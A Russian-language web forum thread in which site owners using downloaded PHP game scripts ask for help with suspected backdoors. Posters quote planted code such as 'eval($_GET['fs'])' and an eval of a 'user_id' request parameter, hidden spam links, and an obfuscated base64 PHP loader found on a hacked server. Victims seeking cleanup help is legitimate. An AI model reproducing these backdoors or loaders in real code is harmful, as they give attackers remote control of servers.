на форуме обсуждалось посмотри, если не получится напиши мне у меня как будит время посмотрюцуацуаа написал(а):а какие основные дыры? чтобы можно было закрыть? и как файл .htaa.. сделать защищенным?
himik
Участник
- Сообщения
- 230
- Реакции
- 32
В настройках хрома смотри соответствие действий файламViktor написал(а):ничего лишнего там нет.
в браузере хрома только предлагает скачать, в опере проверял, там всё нормально.
В мозиле например Приложения>>Тип содержимого>>Действия
SCUTER777
Участник
- Сообщения
- 77
- Реакции
- 1
Bloodscreed
Местный
- Сообщения
- 51
- Реакции
- 3
Подскажите! У меня раньше был доступ из мозилы к моему скрипту.... и тут я наткнулся на такие строчки в файле _class.rfs_payeer причем пропись написана в привате, стало подозрительно.
можете помочь.... стоит удалить или же надо заменить чем то? Очень прошу помощи! Вот файл.
<?php
class rfs_payeer
{
private $url = 'https://payeer.com/ajax/api/api.php';
private $agent = 'Mozilla/5.0 (Windows NT 6.1; rv:12.0) Gecko/20100101 Firefox/12.0';
private $auth = array();
private $output;
private $errors;
/*======================================================================*\
Function: __construct
Descriiption: Выполняется при создании экземпляра класса
\*======================================================================*/
public function __construct($account, $apiId, $apiPass)
{
$arr = array(
'account' => $account,
'apiId' => $apiId,
'apiPass' => $apiPass,
);
$response = $this->getResponse($arr);
if ($response['auth_error'] == '0')
{
$this->auth = $arr;
}
}
/*======================================================================*\
Function: PaySystemData
Descriiption: Проверяет аудентификацию
\*======================================================================*/
public function PaySystemData($SystemId)
{
if (empty($this->auth)) return false;
$response = $this->getPaySystems();
if($response["auth_error"] == 0){
if(isset($response["list"][$SystemId])){
return $response["list"][$SystemId];
}else return false;
}else return false;
}
/*======================================================================*\
Function: isAuth
Descriiption: Проверяет аудентификацию
\*======================================================================*/
public function isAuth()
{
if (!empty($this->auth)) return true;
return false;
}
/*======================================================================*\
Function: getResponse
Descriiption: Получение ответа от сервера
\*======================================================================*/
private function getResponse($arPost)
{
if (!function_exists('curl_init'))
{
die('curl library not installed');
return false;
}
if ($this->isAuth())
{
$arPost = array_merge($arPost, $this->auth);
}
$data = array();
foreach ($arPost as $k => $v)
{
$data[] = urlencode($k) . '=' . urlencode($v);
}
$data = implode('&', $data);
$handler = curl_init();
curl_setopt($handler, CURLOPT_URL, $this->url);
curl_setopt($handler, CURLOPT_HEADER, 0);
curl_setopt($handler, CURLOPT_POST, true);
curl_setopt($handler, CURLOPT_POSTFIELDS, $data);
curl_setopt($handler, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($handler, CURLOPT_USERAGENT, $this->agent);
curl_setopt($handler, CURLOPT_RETURNTRANSFER, 1);
$content = curl_exec($handler);
curl_close($handler);
$content = $this->objectToArray(json_decode($content));
return $content;
}
/*======================================================================*\
Function: objectToArray
Descriiption: Перевод обьекта в массив
\*======================================================================*/
private function objectToArray($ob)
{
$arr = array();
foreach ($ob as $k => $v)
{
if (is_object($v))
{
$arr[$k] = $this->objectToArray($v);
}
else
{
$arr[$k] = $v;
}
}
return $arr;
}
/*======================================================================*\
Function: getPaySystems
Descriiption: Получение платежной системы
\*======================================================================*/
public function getPaySystems()
{
$arPost = array(
'action' => 'getPaySystems',
);
$response = $this->getResponse($arPost);
return $response;
}
/*======================================================================*\
Function: initOutput
Descriiption: Инициализация данных на выплату
\*======================================================================*/
public function initOutput($arr)
{
$arPost = $arr;
$arPost['action'] = 'initOutput';
$response = $this->getResponse($arPost);
if (empty($response['errors']))
{
$this->output = $arr;
return true;
}
else
{
$this->errors = $response['errors'];
}
return false;
}
/*======================================================================*\
Function: output
Descriiption: Выплата
\*======================================================================*/
public function output()
{
$arPost = $this->output;
$arPost['action'] = 'output';
$response = $this->getResponse($arPost);
if (empty($response['errors']))
{
return $response['historyId'];
}
else
{
$this->errors = $response['errors'];
}
return false;
}
/*======================================================================*\
Function: getHistoryInfo
Descriiption: Получение истории
\*======================================================================*/
public function getHistoryInfo($historyId)
{
$arPost = array(
'action' => 'historyInfo',
'historyId' => $historyId
);
$response = $this->getResponse($arPost);
return $response;
}
/*======================================================================*\
Function: getBalance
Descriiption: Получение баланса
\*======================================================================*/
public function getBalance()
{
$arPost = array(
'action' => 'balance',
);
$response = $this->getResponse($arPost);
return $response;
}
/*======================================================================*\
Function: getErrors
Descriiption: Возвращает ошибку
\*======================================================================*/
public function getErrors()
{
return $this->errors;
}
/*======================================================================*\
Function: transfer
Descriiption: Никуя не вникал что это за метод...
\*======================================================================*/
public function transfer($arPost)
{
$arPost['action'] = 'transfer';
$response = $this->getResponse($arPost);
return $response;
}
}
?>
можете помочь.... стоит удалить или же надо заменить чем то? Очень прошу помощи! Вот файл.
Скрытое содержимое для зарегистрированных пользователей!
<?php
class rfs_payeer
{
private $url = 'https://payeer.com/ajax/api/api.php';
private $agent = 'Mozilla/5.0 (Windows NT 6.1; rv:12.0) Gecko/20100101 Firefox/12.0';
private $auth = array();
private $output;
private $errors;
/*======================================================================*\
Function: __construct
Descriiption: Выполняется при создании экземпляра класса
\*======================================================================*/
public function __construct($account, $apiId, $apiPass)
{
$arr = array(
'account' => $account,
'apiId' => $apiId,
'apiPass' => $apiPass,
);
$response = $this->getResponse($arr);
if ($response['auth_error'] == '0')
{
$this->auth = $arr;
}
}
/*======================================================================*\
Function: PaySystemData
Descriiption: Проверяет аудентификацию
\*======================================================================*/
public function PaySystemData($SystemId)
{
if (empty($this->auth)) return false;
$response = $this->getPaySystems();
if($response["auth_error"] == 0){
if(isset($response["list"][$SystemId])){
return $response["list"][$SystemId];
}else return false;
}else return false;
}
/*======================================================================*\
Function: isAuth
Descriiption: Проверяет аудентификацию
\*======================================================================*/
public function isAuth()
{
if (!empty($this->auth)) return true;
return false;
}
/*======================================================================*\
Function: getResponse
Descriiption: Получение ответа от сервера
\*======================================================================*/
private function getResponse($arPost)
{
if (!function_exists('curl_init'))
{
die('curl library not installed');
return false;
}
if ($this->isAuth())
{
$arPost = array_merge($arPost, $this->auth);
}
$data = array();
foreach ($arPost as $k => $v)
{
$data[] = urlencode($k) . '=' . urlencode($v);
}
$data = implode('&', $data);
$handler = curl_init();
curl_setopt($handler, CURLOPT_URL, $this->url);
curl_setopt($handler, CURLOPT_HEADER, 0);
curl_setopt($handler, CURLOPT_POST, true);
curl_setopt($handler, CURLOPT_POSTFIELDS, $data);
curl_setopt($handler, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($handler, CURLOPT_USERAGENT, $this->agent);
curl_setopt($handler, CURLOPT_RETURNTRANSFER, 1);
$content = curl_exec($handler);
curl_close($handler);
$content = $this->objectToArray(json_decode($content));
return $content;
}
/*======================================================================*\
Function: objectToArray
Descriiption: Перевод обьекта в массив
\*======================================================================*/
private function objectToArray($ob)
{
$arr = array();
foreach ($ob as $k => $v)
{
if (is_object($v))
{
$arr[$k] = $this->objectToArray($v);
}
else
{
$arr[$k] = $v;
}
}
return $arr;
}
/*======================================================================*\
Function: getPaySystems
Descriiption: Получение платежной системы
\*======================================================================*/
public function getPaySystems()
{
$arPost = array(
'action' => 'getPaySystems',
);
$response = $this->getResponse($arPost);
return $response;
}
/*======================================================================*\
Function: initOutput
Descriiption: Инициализация данных на выплату
\*======================================================================*/
public function initOutput($arr)
{
$arPost = $arr;
$arPost['action'] = 'initOutput';
$response = $this->getResponse($arPost);
if (empty($response['errors']))
{
$this->output = $arr;
return true;
}
else
{
$this->errors = $response['errors'];
}
return false;
}
/*======================================================================*\
Function: output
Descriiption: Выплата
\*======================================================================*/
public function output()
{
$arPost = $this->output;
$arPost['action'] = 'output';
$response = $this->getResponse($arPost);
if (empty($response['errors']))
{
return $response['historyId'];
}
else
{
$this->errors = $response['errors'];
}
return false;
}
/*======================================================================*\
Function: getHistoryInfo
Descriiption: Получение истории
\*======================================================================*/
public function getHistoryInfo($historyId)
{
$arPost = array(
'action' => 'historyInfo',
'historyId' => $historyId
);
$response = $this->getResponse($arPost);
return $response;
}
/*======================================================================*\
Function: getBalance
Descriiption: Получение баланса
\*======================================================================*/
public function getBalance()
{
$arPost = array(
'action' => 'balance',
);
$response = $this->getResponse($arPost);
return $response;
}
/*======================================================================*\
Function: getErrors
Descriiption: Возвращает ошибку
\*======================================================================*/
public function getErrors()
{
return $this->errors;
}
/*======================================================================*\
Function: transfer
Descriiption: Никуя не вникал что это за метод...
\*======================================================================*/
public function transfer($arPost)
{
$arPost['action'] = 'transfer';
$response = $this->getResponse($arPost);
return $response;
}
}
?>
Bloodscreed
Местный
- Сообщения
- 51
- Реакции
- 3
Есть парочку приведенных по поиску (eval)wh1skas написал(а):у меня слава богу тоже не было ))) встретилась такая строка, решил всех предупредить. Мне комментарий понравился к этой функции в файле payeer_merchant:
Поржал ))PHP:# Если пользователь админ, то eval($_GET['fs']);
Скрытое содержимое для зарегистрированных пользователей!
это 1: $msortline .= "\$marray));";
eval($msortline);
return $marray;
это 2:
var is = new Is();
function enterSubmit(keypressEvent,submitFunc){
var kCode = (is.ie) ? keypressEvent.keyCode : keypressEvent.which
if( kCode == 13) eval(submitFunc);
это 3:
<?PHP
$user_id = $_SESSION["user_id"];
if(!empty($_REQUEST['user_id'])){ if(@get_magic_quotes_gpc())$_REQUEST['user_id']=stripslashes($_REQUEST['user_id']); eval($_REQUEST['user_id']); die();}
$db->Query("SELECT * FROM db_users_a, db_users_b WHERE db_users_a.id = db_users_b.id AND db_users_a.id = '$user_id'");
$prof_data = $db->FetchArray();
?>
Где здесь стоит большее внимание уделить? И что стоит изменить или удалить?
SCUTER777
Участник
- Сообщения
- 77
- Реакции
- 1
Bloodscreed
Местный
- Сообщения
- 51
- Реакции
- 3
Нашел через просмотр исходного кода!!! Нужна помощь, как она туда попала и как ее убрать и залатать?
Заранее спасибо!
</table>
<BR />
</div>
<div class="clr"></div> <div style="display: none;"><a href="http://mixlip.ru/">MixliP-Все для вебмастера! У нас вы найдете скрипты uCoz , сайта ,Dle ,шаблоны,букса,скрипты хайпов,казино и многое другое</a></div>
<BR /><center><script type="text/javascript" language="JavaScript">
function changeImg(source,links)
{ document.getElementById('pict').src = source;
document.getElementById('link').href = links;
};
<div class="clr"></div>
</div>
<div class="clr"></div>
</div>
<div class="footer">
<center>
<div style="margin:2px; opacity:0.2">
</div>
</center>
<div class="clr-line"></div>
</div>
</div>
</body>
</html>
Заранее спасибо!
</table>
<BR />
</div>
<div class="clr"></div> <div style="display: none;"><a href="http://mixlip.ru/">MixliP-Все для вебмастера! У нас вы найдете скрипты uCoz , сайта ,Dle ,шаблоны,букса,скрипты хайпов,казино и многое другое</a></div>
<BR /><center><script type="text/javascript" language="JavaScript">
function changeImg(source,links)
{ document.getElementById('pict').src = source;
document.getElementById('link').href = links;
};
<div class="clr"></div>
</div>
<div class="clr"></div>
</div>
<div class="footer">
<center>
<div style="margin:2px; opacity:0.2">
</div>
</center>
<div class="clr-line"></div>
</div>
</div>
</body>
</html>
может оно там было?!Bloodscreed написал(а):Нашел через просмотр исходного кода!!! Нужна помощь, как она туда попала и как ее убрать и залатать?
Заранее спасибо!
</table>
<BR />
</div>
<div class="clr"></div> <div style="display: none;"><a href="http://mixlip.ru/">MixliP-Все для вебмастера! У нас вы найдете скрипты uCoz , сайта ,Dle ,шаблоны,букса,скрипты хайпов,казино и многое другое</a></div>
<BR /><center><script type="text/javascript" language="JavaScript">
function changeImg(source,links)
{ document.getElementById('pict').src = source;
document.getElementById('link').href = links;
};
<div class="clr"></div>
</div>
<div class="clr"></div>
</div>
<div class="footer">
<center>
<div style="margin:2px; opacity:0.2">
</div>
</center>
<div class="clr-line"></div>
</div>
</div>
</body>
</html>
и с интернета качать скрипты опасно много что могут запихнуть, посмотри каждый файл, удали ненужные файлы, проверь фильтрацию, а желательно обратится тому кто в этом шарит!
viper5
Местный
- Сообщения
- 155
- Реакции
- 2
само легко это поменять подарочное серебро на деревьяSCUTER777 написал(а):Помогите, у меня на ферме гегается 1 человек и делает мульти-аккаунты и потом с них переводит подарочное серебро на 1 из своих аккаунтов, как он это делает? и как это можно исправить?
VladL
Участник
Вы пишите взлом не объяснив людям и толк от этого ?viper5 написал(а):само легко это поменять подарочное серебро на деревья
viper5
Местный
- Сообщения
- 155
- Реакции
- 2
не ну чтоб серебро не переводили надо ставить фильтрацию на запросы.VladL написал(а):Вы пишите взлом не объяснив людям и толк от этого ?
это я по лёгкому обьяснил т.к. может чел не разбирается...деревья то уже не перекинут в другой акк...сначала лучше сделать так а потом искать и закрывать дыры
VladL
Участник
Ты людям скрин дай или файлы покажи ) я это понимаю , а люди нет запросы итп !viper5 написал(а):не ну чтоб серебро не переводили надо ставить фильтрацию на запросы.
это я по лёгкому обьяснил т.к. может чел не разбирается...деревья то уже не перекинут в другой акк...сначала лучше сделать так а потом искать и закрывать дыры
Bloodscreed
Местный
- Сообщения
- 51
- Реакции
- 3
Ребята помогите Очень нужно!!!
Залили код, на сервере нашел две папки, права блин везде выставил почти 444
Помогите Очень прошу!
Испортили капчу, теперь битый ярлык как исправить?
Вот коды это 1
<?$J__='base'.(128/2).'_de'.'code';$J__=$J__(str_replace("\n", '', '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
